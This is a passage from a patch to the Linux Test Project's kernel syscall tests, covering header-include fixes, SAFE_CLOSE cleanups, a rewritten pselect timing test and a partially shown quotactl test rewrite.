+++ b/testcases/kernel/syscalls/openat/openat01.c
@@ -29,7 +29,6 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <fcntl.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/pause/pause02.c b/testcases/kernel/syscalls/pause/pause02.c
index 0e862a1..2d42a59 100644
--- a/testcases/kernel/syscalls/pause/pause02.c
+++ b/testcases/kernel/syscalls/pause/pause02.c
@@ -26,7 +26,7 @@
 #include <unistd.h>
 #include <errno.h>
 #include <fcntl.h>
-#include <wait.h>
+#include <sys/wait.h>
 
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/pause/pause03.c b/testcases/kernel/syscalls/pause/pause03.c
index f3565e3..b1503fc 100644
--- a/testcases/kernel/syscalls/pause/pause03.c
+++ b/testcases/kernel/syscalls/pause/pause03.c
@@ -24,7 +24,7 @@
 #include <unistd.h>
 #include <errno.h>
 #include <fcntl.h>
-#include <wait.h>
+#include <sys/wait.h>
 
 #include "test.h"
 #include "safe_macros.h"
diff --git a/testcases/kernel/syscalls/perf_event_open/Makefile b/testcases/kernel/syscalls/perf_event_open/Makefile
index 65276cf..3c07fe4 100644
--- a/testcases/kernel/syscalls/perf_event_open/Makefile
+++ b/testcases/kernel/syscalls/perf_event_open/Makefile
@@ -15,7 +15,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir	?= ../../../..
diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c
index 9c87e65..926f84b 100644
--- a/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c
+++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c
@@ -129,7 +129,7 @@
 }
 
 /* do_work() is copied form performance_counter02.c */
-#define LOOPS	1000000000
+#define LOOPS	100000000
 
 static void do_work(void)
 {
@@ -149,13 +149,14 @@
 
 	TEST(perf_event_open(&pe, 0, -1, -1, 0));
 	if (TEST_RETURN == -1) {
-		if (TEST_ERRNO == ENOENT) {
-			tst_resm(TCONF,
+		if (TEST_ERRNO == ENOENT || TEST_ERRNO == EOPNOTSUPP) {
+			tst_resm(TCONF | TTERRNO,
 			         "perf_event_open for %s not supported",
 			         tc->config_name);
 		} else {
 			tst_brkm(TFAIL | TTERRNO, cleanup,
-				 "perf_event_open failed unexpectedly");
+				 "perf_event_open %s failed unexpectedly",
+				 tc->config_name);
 		}
 		return;
 	}
diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
index 5dc205b..6bb6cd0 100644
--- a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
+++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
@@ -79,7 +79,7 @@
 #if HAVE_PERF_EVENT_ATTR
 
 #define MAX_CTRS	1000
-#define LOOPS		1000000000
+#define LOOPS		100000000
 
 static int count_hardware_counters(void);
 static void setup(void);
@@ -328,7 +328,7 @@
 	}
 
 	ratio = (double)vtsum / vt0;
-	tst_resm(TINFO, "ratio: %.2f", ratio);
+	tst_resm(TINFO, "ratio: %lf", ratio);
 	if (ratio > nhw + 0.0001) {
 		tst_resm(TFAIL, "test failed (ratio was greater than )");
 	} else {
@@ -338,7 +338,7 @@
 
 static void help(void)
 {
-	printf("-v  print verbose infomation\n");
+	printf("  -v      Print verbose information\n");
 }
 
 #else
diff --git a/testcases/kernel/syscalls/pipe/Makefile b/testcases/kernel/syscalls/pipe/Makefile
index bd617d8..12279c4 100644
--- a/testcases/kernel/syscalls/pipe/Makefile
+++ b/testcases/kernel/syscalls/pipe/Makefile
@@ -20,4 +20,8 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+ifeq ($(ANDROID),1)
+FILTER_OUT_MAKE_TARGETS	+= pipe06 pipe07
+endif
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/pipe/pipe09.c b/testcases/kernel/syscalls/pipe/pipe09.c
index 8c23573..226083b 100644
--- a/testcases/kernel/syscalls/pipe/pipe09.c
+++ b/testcases/kernel/syscalls/pipe/pipe09.c
@@ -48,7 +48,7 @@
  */
 #include <unistd.h>
 #include <signal.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <errno.h>
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/pipe/pipe10.c b/testcases/kernel/syscalls/pipe/pipe10.c
index 4aef369..48f722e 100644
--- a/testcases/kernel/syscalls/pipe/pipe10.c
+++ b/testcases/kernel/syscalls/pipe/pipe10.c
@@ -45,7 +45,7 @@
  */
 #include <errno.h>
 #include <unistd.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <string.h>
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/ppoll/ppoll01.c b/testcases/kernel/syscalls/ppoll/ppoll01.c
index 6076f16..2cb336b 100644
--- a/testcases/kernel/syscalls/ppoll/ppoll01.c
+++ b/testcases/kernel/syscalls/ppoll/ppoll01.c
@@ -28,6 +28,7 @@
 #include <sys/wait.h>
 #include "linux_syscall_numbers.h"
 #include "ltp_signal.h"
+#include "tst_sig_proc.h"
 #include "tst_test.h"
 
 /* Older versions of glibc don't publish this constant's value. */
@@ -202,26 +203,7 @@
 static void cleanup(void)
 {
 	if (fd1 != -1)
-		close(fd1);
-}
-
-static pid_t create_sig_proc(int sig, int count, unsigned int usec)
-{
-	pid_t pid, cpid;
-
-	pid = getpid();
-	cpid = SAFE_FORK();
-
-	if (cpid == 0) {
-		while (count-- > 0) {
-			usleep(usec);
-			if (kill(pid, sig) == -1)
-				break;
-		}
-		exit(0);
-	}
-
-	return cpid;
+		SAFE_CLOSE(fd1);
 }
 
 static void do_test(unsigned int i)
@@ -229,6 +211,12 @@
 	pid_t pid = 0;
 	int sys_ret, sys_errno = 0, dummy;
 	struct test_case *tc = &tcase[i];
+	struct timespec ts, *tsp = NULL;
+
+	if (tc->ts) {
+		memcpy(&ts, tc->ts, sizeof(ts));
+		tsp = &ts;
+	}
 
 	tst_res(TINFO, "case %s", tc->desc);
 
@@ -243,7 +231,8 @@
 	}
 
 	/* test */
-	sys_ret = tst_syscall(__NR_ppoll, tc->fds, tc->nfds, tc->ts,
+	errno = 0;
+	sys_ret = tst_syscall(__NR_ppoll, tc->fds, tc->nfds, tsp,
 		tc->sigmask, SIGSETSIZE);
 	sys_errno = errno;
 
@@ -272,7 +261,7 @@
 			tst_strerrno(sys_errno), sys_errno);
 	} else {
 		tst_res(TFAIL, "ret: %d, exp: %d, ret_errno: %s (%d),"
-			" exp_errno: %s (%d)", tc->ret, sys_ret,
+			" exp_errno: %s (%d)", sys_ret, tc->ret,
 			tst_strerrno(sys_errno), sys_errno,
 			tst_strerrno(tc->err), tc->err);
 	}
diff --git a/testcases/kernel/syscalls/pread/pread03.c b/testcases/kernel/syscalls/pread/pread03.c
index f56b22f..51819e7 100644
--- a/testcases/kernel/syscalls/pread/pread03.c
+++ b/testcases/kernel/syscalls/pread/pread03.c
@@ -88,7 +88,6 @@
 int TST_TOTAL = 1;
 
 char *read_buf[NBUFS];		/* buffer to hold data read from file */
-char test_dir[100];
 int fd1;
 
 void setup();			/* Main setup function of test */
@@ -149,8 +148,6 @@
  */
 void setup(void)
 {
-	char *cur_dir = NULL;
-
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
 	TEST_PAUSE;
@@ -160,13 +157,6 @@
 
 	tst_tmpdir();
 
-	/* get the currect directory name */
-	if ((cur_dir = getcwd(cur_dir, 0)) == NULL) {
-		tst_brkm(TBROK, cleanup, "Couldn't get current directory name");
-	}
-
-	sprintf(test_dir, "%s.%d", cur_dir, getpid());
-
 	/*
 	 * create a temporary directory
 	 */
@@ -181,7 +171,6 @@
 		tst_brkm(TBROK, cleanup, "open() on %s Failed, errno=%d : %s",
 			 PREAD_TEMPDIR, errno, strerror(errno));
 	}
-
 }
 
 /*
diff --git a/testcases/kernel/syscalls/preadv/preadv01.c b/testcases/kernel/syscalls/preadv/preadv01.c
index a51bd44..c2ba09e 100644
--- a/testcases/kernel/syscalls/preadv/preadv01.c
+++ b/testcases/kernel/syscalls/preadv/preadv01.c
@@ -108,8 +108,8 @@
 
 void cleanup(void)
 {
-	if (fd > 0 && close(fd))
-		tst_res(TWARN | TERRNO, "Failed to close file");
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/preadv/preadv02.c b/testcases/kernel/syscalls/preadv/preadv02.c
index d1863a0..26ebfa3 100644
--- a/testcases/kernel/syscalls/preadv/preadv02.c
+++ b/testcases/kernel/syscalls/preadv/preadv02.c
@@ -113,20 +113,20 @@
 
 static void cleanup(void)
 {
-	if (fd1 > 0 && close(fd1))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
 
-	if (fd2 > 0 && close(fd2))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd2 > 0)
+		SAFE_CLOSE(fd2);
 
-	if (fd4 > 0 && close(fd4))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd4 > 0)
+		SAFE_CLOSE(fd4);
 
-	if (fd5[0] > 0 && close(fd5[0]))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd5[0] > 0)
+		SAFE_CLOSE(fd5[0]);
 
-	if (fd5[1] > 0 && close(fd5[1]))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd5[1] > 0)
+		SAFE_CLOSE(fd5[1]);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/pselect/pselect01.c b/testcases/kernel/syscalls/pselect/pselect01.c
index 21f02db..4bb1261 100644
--- a/testcases/kernel/syscalls/pselect/pselect01.c
+++ b/testcases/kernel/syscalls/pselect/pselect01.c
@@ -32,133 +32,124 @@
 #include <time.h>
 #include <unistd.h>
 #include <errno.h>
-#include <stdint.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "tst_timer.h"
 
-static void setup(void);
-static void cleanup(void);
+struct tcase {
+	struct timespec tv;
+	unsigned int iterations;
+};
 
-TCID_DEFINE(pselect01);
-int TST_TOTAL = 9;
+static unsigned int monotonic_resolution;
 
-#define FILENAME "pselect01_test"
-#define LOOP_COUNT 4
+static struct tcase tcases[] = {
+	{{0, 1000000},  500},
+	{{0, 2000000},  500},
+	{{0, 10000000}, 300},
+	{{0, 100000000},  1},
+	{{1, 0},          1},
+};
 
-static int fd;
+#define MIN(a, b) ((a) < (b) ? (a) : (b))
 
-static void pselect_verify(void)
+/*
+ * The threshold per one syscall is computed as a sum of:
+ *
+ *  250 us                 - accomodates for context switches, etc.
+ *  2*monotonic_resolution - accomodates for granurality of the CLOCK_MONOTONIC
+ *  slack_per_scall        - 0.1% of the sleep capped on 100ms
+ *                           which is slack allowed in kernel
+ *
+ * We also allow for outliners, i.e. add some number to the threshold in case
+ * that the number of iteration is small. For large enoung number of iterations
+ * outliners are averaged out.
+ */
+static int compute_threshold(long long requested_us, unsigned int iterations)
 {
-	fd_set readfds;
-	struct timespec tv, tv_start, tv_end;
-	long real_nsec, total_nsec;
-	double real_sec;
-	int total_sec, retval;
-	FD_ZERO(&readfds);
-	FD_SET(fd, &readfds);
-	tv.tv_sec = 0;
-	tv.tv_nsec = 0;
+	unsigned int slack_per_scall = MIN(100000, requested_us / 1000);
 
-	retval = pselect(fd, &readfds, 0, 0, &tv, NULL);
-	if (retval >= 0)
-		tst_resm(TPASS, "pselect() succeeded retval=%i", retval);
-	else
-		tst_resm(TFAIL | TERRNO, "pselect() failed unexpectedly");
-
-	for (total_sec = 1; total_sec <= LOOP_COUNT; total_sec++) {
-		FD_ZERO(&readfds);
-		FD_SET(0, &readfds);
-
-		tv.tv_sec = total_sec;
-		tv.tv_nsec = 0;
-
-		tst_resm(TINFO,
-			 "Testing basic pselect sanity,Sleeping for %jd secs",
-			 (intmax_t) tv.tv_sec);
-		clock_gettime(CLOCK_MONOTONIC, &tv_start);
-		pselect(0, &readfds, NULL, NULL, &tv, NULL);
-		clock_gettime(CLOCK_MONOTONIC, &tv_end);
-
-		real_sec = (0.5 + (tv_end.tv_sec - tv_start.tv_sec +
-				   1e-9 * (tv_end.tv_nsec - tv_start.tv_nsec)));
-		if (abs(real_sec - total_sec) < 0.2 * total_sec)
-			tst_resm(TPASS, "Sleep time was correct "
-				 "(%lf/%d < 20 %%)", real_sec, total_sec);
-		else
-			tst_resm(TFAIL, "Sleep time was incorrect (%d/%lf "
-				 ">= 20%%)", total_sec, real_sec);
-	}
-
-#ifdef DEBUG
-	tst_resm(TINFO, "Now checking nsec sleep precision");
-#endif
-	for (total_nsec = 1e8; total_nsec <= LOOP_COUNT * 1e8;
-	     total_nsec += 1e8) {
-		FD_ZERO(&readfds);
-		FD_SET(0, &readfds);
-
-		tv.tv_sec = 0;
-		tv.tv_nsec = total_nsec;
-
-		tst_resm(TINFO,
-			 "Testing basic pselect sanity,Sleeping for %ld nano secs",
-			 tv.tv_nsec);
-		clock_gettime(CLOCK_MONOTONIC, &tv_start);
-		pselect(0, &readfds, NULL, NULL, &tv, NULL);
-		clock_gettime(CLOCK_MONOTONIC, &tv_end);
-
-		real_nsec = (tv_end.tv_sec - tv_start.tv_sec) * 1e9 +
-		    tv_end.tv_nsec - tv_start.tv_nsec;
-
-		/* allow 20% error */
-		if (abs(real_nsec - tv.tv_nsec) < 0.2 * total_nsec) {
-			tst_resm(TPASS, "Sleep time was correct");
-		} else {
-			tst_resm(TWARN,
-				 "This test could fail if the system was under load");
-			tst_resm(TWARN,
-				 "due to the limitation of the way it calculates the");
-			tst_resm(TWARN, "system call execution time.");
-			tst_resm(TFAIL,
-				 "Sleep time was incorrect:%ld nsec vs expected %ld nsec",
-				 real_nsec, total_nsec);
-		}
-	}
+	return (250 + 2 * monotonic_resolution + slack_per_scall) * iterations
+		+ (iterations > 1 ? 0 : 1500);
 }
 
-int main(int argc, char *argv[])
+static void verify_pselect(unsigned int n)
 {
-	int lc;
+	fd_set readfds;
+	struct timespec tv;
+	long long requested_us, slept_us = 0;
+	unsigned int i;
+	int threshold;
+	struct tcase *t = &tcases[n];
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	tst_res(TINFO, "pselect() sleeping for %li secs %li nsec %i iterations",
+			t->tv.tv_sec, t->tv.tv_nsec, t->iterations);
 
-	setup();
+	for (i = 0; i < t->iterations; i++) {
+		long long elapsed_us;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		pselect_verify();
+		FD_ZERO(&readfds);
+		FD_SET(0, &readfds);
+
+		tv = t->tv;
+
+		tst_timer_start(CLOCK_MONOTONIC);
+		pselect(0, &readfds, NULL, NULL, &tv, NULL);
+		tst_timer_stop();
+
+		elapsed_us = tst_timer_elapsed_us();
+
+		if (elapsed_us >= 10 * tst_timespec_to_us(t->tv)
+		    && elapsed_us > 3 * monotonic_resolution) {
+			tst_res(TINFO,
+				"Found outliner took %lli us, expected %lli us",
+				elapsed_us, tst_timespec_to_us(t->tv));
+		}
+
+		slept_us += elapsed_us;
 	}
 
-	cleanup();
-	tst_exit();
+	requested_us = tst_timespec_to_us(t->tv) * t->iterations;
+	threshold = compute_threshold(tst_timespec_to_us(t->tv), t->iterations);
+
+	if (t->iterations > 1) {
+		tst_res(TINFO, "Mean sleep time %.2f us, expected %lli us, threshold %.2f",
+			1.00 * slept_us / t->iterations,
+			tst_timespec_to_us(t->tv), 1.00 * threshold / t->iterations);
+	}
+
+	if (slept_us < requested_us) {
+		tst_res(TFAIL,
+			"pselect() woken up too early %llius, expected %llius",
+			slept_us, requested_us);
+		return;
+	}
+
+	if (slept_us - requested_us > threshold) {
+		tst_res(TFAIL,
+			"pselect() slept for too long %llius, expected %llius, threshold %i",
+			slept_us, requested_us, threshold);
+		return;
+	}
+
+	tst_res(TPASS, "pselect() slept for %llius, requested %llius, treshold %i",
+		slept_us, requested_us, threshold);
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	tst_timer_check(CLOCK_MONOTONIC);
-	tst_tmpdir();
+	struct timespec t;
 
-	fd = SAFE_OPEN(cleanup, FILENAME, O_CREAT | O_RDWR, 0777);
+	clock_getres(CLOCK_MONOTONIC, &t);
 
-	TEST_PAUSE;
+	tst_res(TINFO, "CLOCK_MONOTONIC resolution %li ns", (long)t.tv_nsec);
+
+	monotonic_resolution = t.tv_nsec / 1000;
 }
 
-static void cleanup(void)
-{
-	if (fd && close(fd))
-		tst_resm(TWARN | TERRNO, "close() failed");
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tid = "pselect01",
+	.test = verify_pselect,
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/pselect/pselect03.c b/testcases/kernel/syscalls/pselect/pselect03.c
new file mode 100644
index 0000000..a92531e
--- /dev/null
+++ b/testcases/kernel/syscalls/pselect/pselect03.c
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+ /*
+  * This is basic test for pselect() returning without error.
+  */
+#include <stdio.h>
+#include <fcntl.h>
+#include <sys/select.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <time.h>
+#include <unistd.h>
+#include <errno.h>
+
+#include "tst_test.h"
+
+static int fd;
+
+static void verify_pselect(void)
+{
+	fd_set readfds;
+	struct timespec tv = {0};
+
+	FD_ZERO(&readfds);
+	FD_SET(fd, &readfds);
+
+	TEST(pselect(fd, &readfds, 0, 0, &tv, NULL));
+	if (TEST_RETURN >= 0)
+		tst_res(TPASS, "pselect() succeeded retval=%li", TEST_RETURN);
+	else
+		tst_res(TFAIL | TTERRNO, "pselect() failed unexpectedly");
+}
+
+static void setup(void)
+{
+	fd = SAFE_OPEN("pselect03_file", O_CREAT | O_RDWR, 0777);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tid = "pselect03",
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_pselect,
+};
diff --git a/testcases/kernel/syscalls/ptrace/ptrace04.c b/testcases/kernel/syscalls/ptrace/ptrace04.c
index b2707c0..af35fb3 100644
--- a/testcases/kernel/syscalls/ptrace/ptrace04.c
+++ b/testcases/kernel/syscalls/ptrace/ptrace04.c
@@ -99,11 +99,11 @@
 
 int main(int argc, char *argv[])
 {
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	if (ARRAY_SIZE(regs) == 0)
 		tst_brkm(TCONF, NULL, "test not supported for your arch (yet)");
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
 	make_a_baby(argc, argv);
 
 	/* first compare register states when execl() syscall starts */
diff --git a/testcases/kernel/syscalls/ptrace/ptrace05.c b/testcases/kernel/syscalls/ptrace/ptrace05.c
index 1167ea8..22261f3 100644
--- a/testcases/kernel/syscalls/ptrace/ptrace05.c
+++ b/testcases/kernel/syscalls/ptrace/ptrace05.c
@@ -4,7 +4,7 @@
  *   ptrace05 - an app which ptraces itself as per arbitrarily specified signals,
  *   over a user specified range.
  *
- *   Copyright (C) 2009, Garrett Cooper
+ *   Copyright (C) 2009, Ngie Cooper
  *
  *   This program is free software; you can redistribute it and/or modify
  *   it under the terms of the GNU General Public License as published by
@@ -60,32 +60,7 @@
 
 	pid_t child;
 
-	/* Parse the CLI args appropriately. */
-	switch (argc) {
-	case 3:
-		end_signum = (int)strtol((const char *)*(argv + 2), NULL, 10);
-		/* Parse the signal value. */
-		if (end_signum == 0 && errno != 0) {
-			tst_brkm(TBROK, NULL,
-				 "argument (%s) isn't a valid number.\n",
-				 *(argv + 2));
-		}
-		/* FALLTHROUGH */
-	case 2:
-		start_signum = (int)strtol((const char *)*(argv + 1), NULL, 10);
-		/* Parse the signal value. */
-		if (end_signum == 0 && errno != 0) {
-			tst_brkm(TBROK, NULL,
-				 "argument (%s) isn't a valid number.\n",
-				 *(argv + 1));
-		}
-		break;
-	case 1:
-		/* Do nothing. */
-		break;
-	default:
-		return usage(basename(*argv));
-	}
+	tst_parse_opts(argc, argv, NULL, NULL);
 
 	if (start_signum == -1) {
 		start_signum = 0;
diff --git a/testcases/kernel/syscalls/pwrite/pwrite04.c b/testcases/kernel/syscalls/pwrite/pwrite04.c
index b297682..4a2825b 100644
--- a/testcases/kernel/syscalls/pwrite/pwrite04.c
+++ b/testcases/kernel/syscalls/pwrite/pwrite04.c
@@ -35,7 +35,7 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <unistd.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <memory.h>
 #include <errno.h>
 #include "test.h"
diff --git a/testcases/kernel/syscalls/pwritev/pwritev01.c b/testcases/kernel/syscalls/pwritev/pwritev01.c
index ea754e9..88a1756 100644
--- a/testcases/kernel/syscalls/pwritev/pwritev01.c
+++ b/testcases/kernel/syscalls/pwritev/pwritev01.c
@@ -23,10 +23,12 @@
 * and after writing the file, the file offset is not changed.
 */
 
+#define _GNU_SOURCE
 #include <string.h>
 #include <sys/uio.h>
 #include "tst_test.h"
 #include "pwritev.h"
+#include "tst_safe_prw.h"
 
 #define	CHUNK		64
 
@@ -102,8 +104,8 @@
 
 static void cleanup(void)
 {
-	if (fd > 0 && close(fd))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/pwritev/pwritev02.c b/testcases/kernel/syscalls/pwritev/pwritev02.c
index 63444eb..ec9de20 100644
--- a/testcases/kernel/syscalls/pwritev/pwritev02.c
+++ b/testcases/kernel/syscalls/pwritev/pwritev02.c
@@ -107,17 +107,17 @@
 
 static void cleanup(void)
 {
-	if (fd1 > 0 && close(fd1))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
 
-	if (fd2 > 0 && close(fd2))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd2 > 0)
+		SAFE_CLOSE(fd2);
 
-	if (fd4[0] > 0 && close(fd4[0]))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd4[0] > 0)
+		SAFE_CLOSE(fd4[0]);
 
-	if (fd4[1] > 0 && close(fd4[1]))
-		tst_res(TWARN | TERRNO, "failed to close file");
+	if (fd4[1] > 0)
+		SAFE_CLOSE(fd4[1]);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/quotactl/quotactl01.c b/testcases/kernel/syscalls/quotactl/quotactl01.c
index fcac469..a994e95 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl01.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl01.c
@@ -1,260 +1,224 @@
-/******************************************************************************/
-/* Copyright (c) Crackerjack Project., 2007				      */
-/*									      */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by	      */
-/* the Free Software Foundation; either version 2 of the License, or	      */
-/* (at your option) any later version.					      */
-/*									      */
-/* This program is distributed in the hope that it will be useful,	      */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	      */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See		      */
-/* the GNU General Public License for more details.			      */
-/*									      */
-/* You should have received a copy of the GNU General Public License	      */
-/* along with this program;  if not, write to the Free Software		      */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									      */
-/******************************************************************************/
-/******************************************************************************/
-/*									      */
-/* File:		quotactl01.c					      */
-/*									      */
-/* Description: This tests the quotactl() syscall			      */
-/*									      */
-/* Usage:  <for command-line>						      */
-/* quotactl01 [-c n] [-e][-i n] [-I x] [-p x] [-t]			      */
-/*	  where,  -c n : Run n copies concurrently.			      */
-/*			  -e   : Turn on errno logging.			      */
-/*			  -i n : Execute test n times.			      */
-/*			  -I x : Execute test for x seconds.		      */
-/*			  -P x : Pause for x seconds between iterations.      */
-/*			  -t   : Turn on syscall timing.		      */
-/*									      */
-/* Total Tests: 1							      */
-/*									      */
-/* Test Name:   quotactl01						      */
-/* History:	 Porting from Crackerjack to LTP is done by		      */
-/*			  Manas Kumar Nayak maknayak@in.ibm.com>	      */
-/******************************************************************************/
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <fcntl.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <stdio.h>
+/*
+* Copyright (c) Crackerjack Project., 2007
+* Copyright (c) 2016 Fujitsu Ltd.
+* Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+*
+* This program is free software;  you can redistribute it and/or modify
+* it under the terms of the GNU General Public License as published by
+* the Free Software Foundation; either version 2 of the License, or
+* (at your option) any later version.
+*
+* This program is distributed in the hope that it will be useful,
+* but WITHOUT ANY WARRANTY;  without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+* the GNU General Public License for more details.
+*
+* You should have received a copy of the GNU General Public License
+* along with this program.
+*
+* Test Name: quotactl01
+*
+* Description:
+* This testcase checks the basic flag of quotactl(2) for non-XFS filesystems:
+* 1) quotactl(2) succeeds to turn on quota with Q_QUOTAON flag for user.
+* 2) quotactl(2) succeeds to set disk quota limits with Q_SETQUOTA flag
+*    for user.
+* 3) quotactl(2) succeeds to get disk quota limits with Q_GETQUOTA flag
+*    for user.
+* 4) quotactl(2) succeeds to set information about quotafile with Q_SETINFO
+*    flag for user.
+* 5) quotactl(2) succeeds to get information about quotafile with Q_GETINFO
+*    flag for user.
+* 6) quotactl(2) succeeds to get quota format with Q_GETFMT flag for user.
+* 7) quotactl(2) succeeds to update quota usages with Q_SYNC flag for user.
+* 8) quotactl(2) succeeds to turn off quota with Q_QUOTAOFF flag for user.
+* 9) quotactl(2) succeeds to turn on quota with Q_QUOTAON flag for group.
+* 10) quotactl(2) succeeds to set disk quota limits with Q_SETQUOTA flag
+*     for group.
+* 11) quotactl(2) succeeds to get disk quota limits with Q_GETQUOTA flag
+*     for group.
+* 12) quotactl(2) succeeds to set information about quotafile with Q_SETINFO
+*     flag for group.
+* 13) quotactl(2) succeeds to get information about quotafile with Q_GETINFO
+*     flag for group.
+* 14) quotactl(2) succeeds to get quota format with Q_GETFMT flag for group.
+* 15) quotactl(2) succeeds to update quota usages with Q_SYNC flag for group.
+* 16) quotactl(2) succeeds to turn off quota with Q_QUOTAOFF flag for group.
+*
+*/
+
 #include <errno.h>
-#include <linux/fs.h>
-#include <sys/types.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdio.h>
 #include "config.h"
+
+#include "tst_test.h"
+
 #if defined(HAVE_QUOTAV2) || defined(HAVE_QUOTAV1)
-#if defined(HAVE_QUOTAV2)
-#define _LINUX_QUOTA_VERSION 2
-#else /* HAVE_QUOTAV1 */
-#define _LINUX_QUOTA_VERSION 1
-#endif
-#include <sys/quota.h>
-#else /* ! (HAVE_QUOTAV2 || HAVE_QUOTAV1) */
-/* Not HAVE_QUOTAV2 */
-#define BROKEN_QUOTACTL 1
-#endif
+# include <sys/quota.h>
 
-#include "test.h"
-#include "linux_syscall_numbers.h"
+# if defined(HAVE_QUOTAV2)
+#  define _LINUX_QUOTA_VERSION  2
+#  ifndef QFMT_VFS_V0
+#   define QFMT_VFS_V0     2
+#  endif
+#  define USRPATH MNTPOINT "/aquota.user"
+#  define GRPPATH MNTPOINT "/aquota.group"
+#  define FMTID	QFMT_VFS_V0
+# else
+#  define _LINUX_QUOTA_VERSION  1
+#  ifndef QFMT_VFS_OLD
+#   define QFMT_VFS_OLD    1
+#  endif
+#  define USRPATH MNTPOINT "/quota.user"
+#  define GRPPATH MNTPOINT "/quota.group"
+#  define FMTID	QFMT_VFS_OLD
+# endif
 
-char *TCID = "quotactl01";
-int testno;
-int TST_TOTAL = 1;
+# define MNTPOINT	"mntpoint"
 
-#define QUOTACTL(cmd, addr) \
-	ltp_syscall(__NR_quotactl, QCMD(cmd, USRQUOTA), block_dev, id, \
-					(caddr_t) addr)
-#ifndef BROKEN_QUOTACTL
+static int32_t fmt_id = FMTID;
+static int test_id;
+static struct dqblk set_dq = {
+	.dqb_bsoftlimit = 100,
+	.dqb_valid = QIF_BLIMITS
+};
+static struct dqblk res_dq;
+# if defined(HAVE_QUOTAV2)
+static struct dqinfo set_qf = {
+	.dqi_bgrace = 80,
+	.dqi_valid = IIF_BGRACE
+};
+static struct dqinfo res_qf;
+static int32_t fmt_buf;
+# endif
 
-#ifndef QUOTAFILE
-/* Default name of the quota file in Fedora 12. */
-#define QUOTAFILE "aquota.user"
-#endif
+static struct tcase {
+	int cmd;
+	int *id;
+	void *addr;
+	void *set_data;
+	void *res_data;
+	int sz;
+	char *des;
+} tcases[] = {
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, USRPATH,
